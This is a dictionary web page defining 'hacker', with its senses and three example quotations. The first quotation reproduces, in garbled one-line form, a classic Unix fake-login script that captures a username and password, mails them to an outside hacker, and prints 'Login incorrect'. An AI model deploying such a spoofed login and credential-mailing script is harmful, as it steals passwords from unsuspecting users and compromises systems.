Definition of "hacker" []

• Informal One who is proficient at using or programming a computer; a computer buff. (noun)
• Informal One who uses programming skills to gain illegal access to a computer network or file. (noun)
• Informal One who enthusiastically pursues a game or sport: a weekend tennis hacker. (noun)
• See hackie. (noun)

American Heritage(R) Dictionary of the English Language, Fifth Edition. Copyright (c) 2011 by Houghton Mifflin Harcourt Publishing Company. Published by Houghton Mifflin Harcourt Publishing Company. All rights reserved.

• "A hacker could quickly install a login process like the one described by Morris and Grampp (7): echo - n "login:" read X stty - echo echo - n "password:" read Y echo "" stty echo echo % X%Y | mail outside | hacker& sleep 1 echo Login incorrect stty 0/dev/tty We see that the password of the root user is mailed to the hacker who has completely compromised the Unix system."
• "Once synonymous with criminals and anarchists, the term hacker now also refers to the good guys in cyberspace, those who have the same skills the bad guys do, only different intentions."
• "If you really feel the need, explain the term hacker, or point them to the Wikipedia entry on the term."